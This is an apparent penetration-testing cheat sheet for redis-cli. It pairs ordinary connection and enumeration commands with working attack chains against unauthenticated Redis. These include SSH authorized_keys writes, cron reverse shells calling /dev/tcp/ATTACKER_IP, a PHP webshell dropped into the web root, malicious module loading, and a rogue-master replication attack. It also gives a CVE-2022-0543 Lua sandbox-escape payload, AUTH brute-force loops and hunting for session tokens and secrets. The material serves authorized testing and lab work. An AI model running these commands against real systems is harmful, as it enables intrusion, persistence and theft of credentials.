redis-cli.md (20072B)
1 --- 2 title: "redis-cli" 3 description: "redis-cli connection syntax, the interactive REPL and non-interactive flags, plus using it as the pentest tool of choice for unauthenticated Redis: enumeration, CONFIG-based SSH key/cron writes, and module-load RCE." 4 category: tools 5 tags: [tools, redis, enumeration, exploitation, acl, rce, ssrf] 6 tools: [redis-cli, nmap, gopherus, redis-rogue-server] 7 difficulty: intermediate 8 updated: "2026-09-25" 9 --- 10 11 # redis-cli 12 13 > **redis-cli** — the official command-line client shipped with Redis, used both to administer a legitimate instance and (offensively) to talk directly to an unauthenticated or credentialed [Redis](https://redis.io/) service (default port **6379/tcp**) during enumeration and exploitation. Redis ships with **no authentication by default** and historically binds to all interfaces, making it one of the highest-value "low-hanging fruit" services in internal/HTB engagements — see [Service Enumeration → Redis](/sheets/pentest-workflow/service-enumeration) and [Attack Flow Guide](/sheets/pentest-workflow/attack-flow-guide) for the workflow-stage version of this content. 14 15 ## Installation 16 17 ```bash 18 # macOS (Homebrew) — installs redis-server + redis-cli together, no separate cask 19 brew install redis 20 21 # Debian / Ubuntu — client only, no server 22 sudo apt install redis-tools 23 24 # Debian / Ubuntu — full package (server + client) 25 sudo apt install redis-server 26 27 # Kali — preinstalled; if missing: 28 sudo apt install redis-tools 29 30 # From source (any *nix, when the target's version matters for a specific CVE) 31 git clone https://github.com/redis/redis.git && cd redis && make 32 ./src/redis-cli --version 33 ``` 34 35 ```bash 36 redis-cli --version # e.g. "redis-cli 8.10.1" 37 redis-cli --help # full flag list 38 ``` 39 40 ## Connecting 41 42 ```bash 43 redis-cli -h 10.10.10.100 # default port 6379, no auth 44 redis-cli -h 10.10.10.100 -p 6380 # custom port 45 redis-cli -h 10.10.10.100 -a 'S3cr3tPass' # AUTH password (warns: password on cmdline visible in ps/history) 46 redis-cli -h 10.10.10.100 -a 'S3cr3tPass' --no-auth-warning # suppress that warning 47 redis-cli -h 10.10.10.100 --user default -a 'pass' # Redis 6+ ACL username 48 redis-cli -h 10.10.10.100 -n 3 # select logical DB 3 (of 16, default 0) 49 redis-cli -u redis://default:pass@10.10.10.100:6379/0 # connection-string form 50 redis-cli -h 10.10.10.100 --tls --cacert ca.pem # TLS-enabled instance (Redis 6+ w/ TLS build) 51 redis-cli -h 10.10.10.100 -3 # force RESP3 protocol (HELLO) 52 ``` 53 54 Once connected you land in the interactive prompt: `10.10.10.100:6379>`. Any command below also works as a one-shot non-interactive call: `redis-cli -h $IP <command> <args>`. 55 56 ## Core Flags 57 58 | Flag | Description | 59 |------|-------------| 60 | `-h <host>` | Target host (default `127.0.0.1`) | 61 | `-p <port>` | Target port (default `6379`) | 62 | `-a <password>` | Password for `AUTH` (or `-a ""` to test empty-password auth) | 63 | `--user <name>` | ACL username (Redis 6+), paired with `-a` | 64 | `-n <db>` | Select DB index after connecting (`0`–`15` by default) | 65 | `-x` | Read the **last argument** from stdin — used for pipe-writing binary/file data into a key | 66 | `--no-raw` | Force human-readable formatted output (useful when scripting expects raw) | 67 | `--csv` | Output replies in CSV format | 68 | `-r <n>` | Repeat the command `n` times | 69 | `-i <secs>` | Interval between repeats (with `-r`) | 70 | `--scan` | Non-interactively run a full `SCAN` cursor loop, printing every key | 71 | `--pattern <glob>` | Filter `--scan` results by key-name glob | 72 | `--bigkeys` | Sample the keyspace and report the largest key per data type | 73 | `--stat` | Continuously print `INFO`-derived stats (like `top` for Redis) | 74 | `--latency` | Measure round-trip latency to the server | 75 | `--rdb <file>` | Download the server's RDB snapshot over the wire (via `SYNC`; works against old servers too, no filesystem access needed) | 76 | `--pipe` | Pipe raw RESP-protocol commands from stdin for mass loading (fastest bulk insert) | 77 | `--cluster <cmd>` | Redis Cluster admin subcommands (`check`, `info`, `reshard`, …) | 78 79 ## Enumeration — Is It Actually Unauthenticated? 80 81 ```bash 82 redis-cli -h $IP PING # "PONG" with no AUTH = unauthenticated 83 redis-cli -h $IP INFO # full server/replication/keyspace info if unauth 84 redis-cli -h $IP INFO server | head # just the version/os/build section 85 ``` 86 87 - **`PONG`/data returned** → no auth required, proceed straight to enumeration. 88 - **`(error) NOAUTH Authentication required.`** → auth is enabled; try `-a ""` (empty password), common default/weak creds, or move on. 89 90 ```bash 91 # Fast unauth check across a subnet (no redis-cli loop needed) 92 nmap -p6379 --script redis-info -sV 10.10.10.0/24 93 ``` 94 95 ## Enumeration Commands 96 97 ```bash 98 redis-cli -h $IP INFO # everything: version, OS, uptime, memory, replication, persistence 99 redis-cli -h $IP CONFIG GET '*' # dump the entire live config (dir, dbfilename, requirepass, logfile, ...) 100 redis-cli -h $IP CONFIG GET dir # working directory the server writes to 101 redis-cli -h $IP CONFIG GET requirepass # empty string back = no password set, even if you got this far via other auth 102 redis-cli -h $IP DBSIZE # key count in the selected DB 103 redis-cli -h $IP CLIENT LIST # connected clients, their addresses and idle time 104 redis-cli -h $IP CLIENT GETNAME 105 redis-cli -h $IP KEYS '*' # list every key — blocking, avoid on large/prod DBs 106 redis-cli -h $IP --scan --pattern '*' # same result, non-blocking cursor iteration (prefer this) 107 redis-cli -h $IP TYPE keyname # string/list/set/zset/hash/stream 108 redis-cli -h $IP GET keyname # read a string key 109 redis-cli -h $IP LRANGE keyname 0 -1 # read a full list 110 redis-cli -h $IP SMEMBERS keyname # read a full set 111 redis-cli -h $IP HGETALL keyname # read a full hash 112 redis-cli -h $IP ZRANGE keyname 0 -1 WITHSCORES # read a full sorted set 113 redis-cli -h $IP --bigkeys # find the biggest keys — often config/session/cache dumps worth reading 114 ``` 115 116 > [!tip] Credential and secret hunting 117 > Redis is frequently used as a **session store, cache, or job queue**. `KEYS '*'`/`--scan` followed by targeted `GET`/`HGETALL`/`LRANGE` on interesting-looking keys (`session:*`, `celery`, `laravel:*`, `*token*`, `*password*`) regularly yields live session tokens, API keys, or app secrets without needing to exploit anything. 118 119 ## AUTH, ACLs & Brute Forcing 120 121 When `AUTH` is required, enumerate the ACL surface. Redis 6+ has named users; earlier builds only a single global `requirepass`. 122 123 ```bash 124 redis-cli -h $IP ACL WHOAMI # current user — "default" before any AUTH 125 redis-cli -h $IP ACL LIST # every user + rule string (keys, cmds, hashed pw) 126 redis-cli -h $IP ACL USERS # just the usernames 127 redis-cli -h $IP ACL GETUSER default # full permission breakdown for one user 128 redis-cli -h $IP ACL CAT # command categories (@admin, @dangerous, @scripting...) 129 redis-cli -h $IP CONFIG GET requirepass # leaks the plaintext default password once you can read config 130 ``` 131 132 `AUTH` has two forms — the legacy single-arg (user `default`) and the Redis 6+ two-arg for named ACL users: 133 134 ```bash 135 # In the REPL after connecting: 136 AUTH S3cr3tPass # legacy: authenticate as "default" 137 AUTH alice S3cr3tPass # Redis 6+: authenticate as ACL user "alice" 138 139 # From the shell (password on cmdline — pair with --no-auth-warning): 140 redis-cli -h $IP --user alice -a 'S3cr3tPass' --no-auth-warning ACL WHOAMI 141 ``` 142 143 Brute forcing `AUTH`: 144 145 ```bash 146 nmap -p6379 --script redis-brute $IP # NSE, targets the default user 147 148 # Metasploit 149 msfconsole -q -x "use auxiliary/scanner/redis/redis_login; set RHOSTS $IP; set PASS_FILE /usr/share/wordlists/rockyou.txt; run; exit" 150 151 # Manual loop (default user) 152 while read -r p; do 153 redis-cli -h $IP -a "$p" --no-auth-warning PING 2>/dev/null | grep -q PONG && { echo "[+] valid: $p"; break; } 154 done < /usr/share/wordlists/rockyou.txt 155 ``` 156 157 > [!tip] Cracking ACL password hashes 158 > `ACL LIST` / `ACL GETUSER <user>` print each user's password as a **SHA-256 hash** (`#<64-hex>`). Pull them and crack offline with hashcat mode **1400** (raw SHA-256). `CONFIG GET requirepass` returns the *plaintext* `default` password outright once you can read config — always grab it for reuse/spray. 159 160 > [!warning] Redis version gates the ACL system 161 > `ACL *` commands only exist on **Redis ≥ 6**. On older servers they return `(error) ERR unknown command 'ACL'` — which itself fingerprints a pre-6 build that only supports a single global `requirepass`. 162 163 ## Exploitation — SSH Key / authorized_keys Write 164 165 Classic technique when Redis runs as a user with a writable home directory (often the `redis` service account, sometimes `root` on a badly-configured box). 166 167 ```bash 168 # 1. Generate a keypair on your attacking box 169 ssh-keygen -t rsa -b 4096 -f redis_key -N "" 170 171 # 2. Confirm the target dir is writable by the redis process 172 redis-cli -h $IP CONFIG GET dir 173 174 # 3. Point Redis's save-dir/save-file at the SSH authorized_keys location 175 redis-cli -h $IP CONFIG SET dir /var/lib/redis/.ssh 176 redis-cli -h $IP CONFIG SET dbfilename authorized_keys 177 178 # 4. Write the public key as a string value with padding newlines, then flush to disk 179 (echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") | redis-cli -h $IP -x SET sshkey 180 redis-cli -h $IP SAVE 181 182 # 5. Connect 183 ssh -i redis_key redis@$IP 184 ``` 185 186 > [!warning] Destructive and environment-dependent 187 > `SAVE` rewrites the server's on-disk RDB file — do this only in a lab or against an explicitly in-scope target, and prefer snapshotting the original `dir`/`dbfilename` values first (`CONFIG GET dir` / `CONFIG GET dbfilename`) so you can restore them. `CONFIG SET dir` fails silently-ish (`(error) ERR ... Changing directory: ...`) if the redis user can't write there — pick a directory the service actually owns (its own data dir is the safe bet if `.ssh` isn't writable). Root often doesn't run Redis anymore on modern distros; check `INFO server` → `process_id` and `/proc/<pid>/status` (if you get a shell another way) for the real run-as user first. 188 189 ## Exploitation — Cron-Based Reverse Shell 190 191 Alternative to SSH-key write when `/etc/cron.d/` (or the target user's crontab spool) is writable instead of `~/.ssh/`. 192 193 ```bash 194 redis-cli -h $IP CONFIG SET dir /var/spool/cron/crontabs 195 redis-cli -h $IP CONFIG SET dbfilename root # or the target cron user's name 196 197 redis-cli -h $IP SET cronjob "\n\n* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n\n" 198 redis-cli -h $IP SAVE 199 200 # Debian/Ubuntu cron.d syntax instead needs a run-as-user field: 201 redis-cli -h $IP CONFIG SET dir /etc/cron.d 202 redis-cli -h $IP CONFIG SET dbfilename malicious 203 redis-cli -h $IP SET x "\n* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n" 204 redis-cli -h $IP SAVE 205 ``` 206 207 Catch it with `pwncat-cs -lp 4444` / `rustcat listen -p 4444` / `nc -lvnp 4444`, wait up to 60s for cron to fire. 208 209 ## Exploitation — Webshell into a Web Root 210 211 When Redis and a web server share a host, redirect the RDB dump into the web root instead of `~/.ssh`/cron — same `CONFIG SET dir` + `dbfilename` + `SAVE` primitive. 212 213 ```bash 214 redis-cli -h $IP CONFIG SET dir /var/www/html # or /usr/share/nginx/html, C:\xampp\htdocs, C:\inetpub\wwwroot 215 redis-cli -h $IP CONFIG SET dbfilename shell.php 216 redis-cli -h $IP SET webshell '<?php system($_GET["cmd"]); ?>' 217 redis-cli -h $IP SAVE 218 219 curl "http://$IP/shell.php?cmd=id" # trigger through the web server 220 ``` 221 222 > [!tip] Why the binary RDB still runs 223 > `SAVE` wraps your value in RDB header/footer bytes, but PHP ignores everything outside the `<?php ... ?>` tags and executes only your block — so a dumped RDB is a valid webshell. You must know (or leak via LFI, `CONFIG GET dir`, or a server error) the real web-root path first; a wrong `dir` writes nothing reachable. Same idea works for a `.jsp`/`.aspx` payload against the matching stack. 224 225 ## Exploitation — Module Load RCE (Redis ≥ 4.x, module loading enabled) 226 227 If `CONFIG GET dir`/write access works but there's no cron or SSH path, and the server allows `MODULE LOAD` (disabled by default on hardened/managed Redis but common on self-hosted boxes): 228 229 ```bash 230 # Build or fetch a malicious .so (e.g. RedisModules-ExecuteCommand) 231 git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand 232 cd RedisModules-ExecuteCommand && make 233 234 # Upload the module via SET + SAVE, same CONFIG SET dir/dbfilename trick as above, 235 # pointed at a filename ending in .so and the server's dir 236 redis-cli -h $IP CONFIG SET dir /tmp 237 redis-cli -h $IP CONFIG SET dbfilename exp.so 238 cat module.so | redis-cli -h $IP -x SET payload 239 redis-cli -h $IP SAVE 240 241 redis-cli -h $IP MODULE LOAD /tmp/exp.so 242 redis-cli -h $IP system.exec "id" # command exposed by the loaded module 243 ``` 244 245 Fully automated versions of both the SSH-key and module-RCE paths: [redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server) and the Metasploit `exploit/linux/redis/redis_replication_cmd_exec` (module RCE) / `auxiliary/scanner/redis/file_upload` (RDB file write) modules. 246 247 ## Exploitation — Lua Sandbox / EVAL RCE (CVE-2022-0543) 248 249 `EVAL` runs server-side Lua. Upstream Redis sandboxes it, but Debian/Ubuntu's packaging (**CVE-2022-0543**) left the Lua `package`/`os`/`io` libs reachable — a full RCE with no `CONFIG`/`MODULE`/write access at all. 250 251 ```bash 252 # Baseline — does EVAL work, and what's the working dir? 253 redis-cli -h $IP EVAL "return 'lua-ok'" 0 254 redis-cli -h $IP EVAL "return redis.call('CONFIG','GET','dir')" 0 255 256 # CVE-2022-0543 — Debian/Ubuntu Lua sandbox escape (numkeys = 0) 257 redis-cli -h $IP EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 258 ``` 259 260 > [!warning] Distro- and version-specific 261 > CVE-2022-0543 affects only **Debian/Ubuntu-packaged** Redis (not upstream builds); fixed in the 2022 Debian security updates. The `liblua5.1.so.0` path varies by distro/arch — `x86_64-linux-gnu` is the Debian/Ubuntu amd64 path; confirm with `find / -name 'liblua5.1*' 2>/dev/null` if you already have a foothold. On patched/non-Debian targets EVAL stays sandboxed — fall back to the `CONFIG`/`MODULE`/replication paths. 262 263 ## Replication-Based RCE (Master/Slave Abuse) 264 265 Redis 4/5's replication feature can be abused to load an attacker-controlled `.so` module without ever touching the filesystem via `SAVE`: 266 267 ```bash 268 # Tools like redis-rogue-server automate this: spin up a rogue "master" Redis, 269 # issue SLAVEOF to point the target at it, then push the module through the sync stream. 270 python3 redis-rogue-server.py --rhost $IP --rport 6379 --lhost ATTACKER_IP --lport 21000 271 ``` 272 273 Preferred when `CONFIG SET dir` is locked down (protected-mode-style hardening) but `SLAVEOF`/`REPLICAOF` is still callable. 274 275 ### Manual master/replica abuse (what the tools automate) 276 277 ```bash 278 # Recon: replication role + module surface first 279 redis-cli -h $IP ROLE # "master"/"slave" + linked replicas 280 redis-cli -h $IP INFO replication # role, connected_slaves, master_link_status 281 redis-cli -h $IP MODULE LIST # already-loaded modules (empty is normal) 282 283 # 1. On ATTACKER: serve exp.so from a rogue master (redis-rogue-server / 284 # RedisModules-ExecuteCommand's module) on e.g. 21000 285 # 2. Point the target's replication at your rogue master: 286 redis-cli -h $IP REPLICAOF ATTACKER_IP 21000 # SLAVEOF on Redis < 5 (still aliased on 5+) 287 redis-cli -h $IP MODULE LOAD ./exp.so # loads the module synced over the replica stream 288 redis-cli -h $IP system.exec "id" # RCE via the module's command 289 # 3. Detach + unload to clean up 290 redis-cli -h $IP REPLICAOF NO ONE 291 redis-cli -h $IP MODULE UNLOAD system # module registers as "system" — confirm via MODULE LIST 292 ``` 293 294 ## RESP Protocol SSRF (gopher://) 295 296 Redis's RESP protocol also accepts **inline commands** — plaintext, space-separated, CRLF-terminated, no handshake — so a web-app SSRF that can reach an internal `6379` can drive Redis via `gopher://` even when you can't point `redis-cli` at it directly. 297 298 ```bash 299 # Inline protocol proof over a raw socket (no redis-cli needed) 300 printf 'INFO\r\nQUIT\r\n' | nc $IP 6379 301 302 # Build the gopher:// payload (SSH-key/cron write, or Lua RCE) with Gopherus 303 gopherus --exploit redis # interactive: reverse shell / ssh key / php shell 304 ``` 305 306 > [!tip] Encoding & full workflow 307 > Gopher payloads usually need **double URL-encoding** (`%250d%250a` for CRLF) when the app decodes the parameter once before the SSRF fires. The complete SSRF payload table and blind-SSRF tips live in [Web Enumeration & Exploitation](/sheets/pentest-workflow/web-enumeration-and-exploitation). 308 309 ## Non-Interactive & Scripting Usage 310 311 ```bash 312 # One-shot command (no REPL) — good for scripting/loops 313 redis-cli -h $IP GET mykey 314 315 # Pipe a script of commands (one per line) in non-interactively 316 cat commands.txt | redis-cli -h $IP 317 318 # EVAL — run server-side Lua; useful both for admin tasks and, historically, for 319 # sandbox-escape RCE research (patched in modern Redis, still worth checking version) 320 redis-cli -h $IP EVAL "return redis.call('GET', KEYS[1])" 1 mykey 321 322 # Mass-insert benchmark/seed data fast (raw RESP protocol over --pipe) 323 redis-cli -h $IP --pipe < mass_insert_commands.resp 324 325 # Monitor every command hitting the server in real time (great for watching an app's traffic) 326 redis-cli -h $IP MONITOR 327 328 # Download the RDB snapshot without needing filesystem/SAVE access 329 redis-cli -h $IP --rdb /tmp/dump.rdb 330 ``` 331 332 ## Cleanup 333 334 If you wrote to `dir`/`dbfilename`, restore them to avoid leaving the box in a broken state: 335 336 ```bash 337 redis-cli -h $IP CONFIG SET dir <original_dir> 338 redis-cli -h $IP CONFIG SET dbfilename <original_dbfilename> 339 redis-cli -h $IP DEL sshkey cronjob payload x # remove any keys you added 340 ``` 341 342 ## Troubleshooting 343 344 | Problem | Solution | 345 |---------|----------| 346 | `(error) NOAUTH Authentication required.` | Try `-a ""`, weak default creds, or move on — no unauth exploitation available | 347 | `CONFIG SET dir` errors / silently doesn't stick | Redis process can't write there; pick a dir it already owns (check `CONFIG GET dir` first) | 348 | `SAVE` returns fine but nothing lands on disk | Wrong `dbfilename`/`dir` combo, or `save` points elsewhere — confirm with `CONFIG GET save` / `LASTSAVE` | 349 | `MODULE LOAD` unsupported / returns error | `enable-module-command` disabled (default since Redis 7) — fall back to SSH-key/cron write instead | 350 | Cron reverse shell never fires | Check the crontab syntax landed correctly (`cat` the file back via `GET`), confirm the cron daemon actually reads that spool path | 351 | Connection refused / times out | Redis often binds `127.0.0.1` only on hardened hosts — you need a foothold or SSRF (see gopher payload below) to reach it | 352 | Need to reach Redis via a web SSRF, not directly | Build a `gopher://` payload with [Gopherus](https://github.com/tarunkant/Gopherus) — see [Web Enumeration & Exploitation](/sheets/pentest-workflow/web-enumeration-and-exploitation) | 353 354 ## See Also 355 356 - **[Service Enumeration](/sheets/pentest-workflow/service-enumeration)** — Redis inside the broader stage-by-stage triage workflow. 357 - **[Attack Flow Guide](/sheets/pentest-workflow/attack-flow-guide)** — the condensed one-liner version of the SSH-key-write chain. 358 - **[Anonymous / Null-Session Testing](/sheets/enumeration/anonymous-null-testing)** — Redis alongside SMB/LDAP/FTP/SNMP/NFS/MongoDB unauth checks. 359 - **[fscan](/sheets/tools/fscan)** — automates Redis detection + SSH-key/cron exploitation across a whole subnet. 360 361 Based on redis-cli 8.x (Redis 8.10.1) — https://redis.io/docs/latest/develop/tools/cli/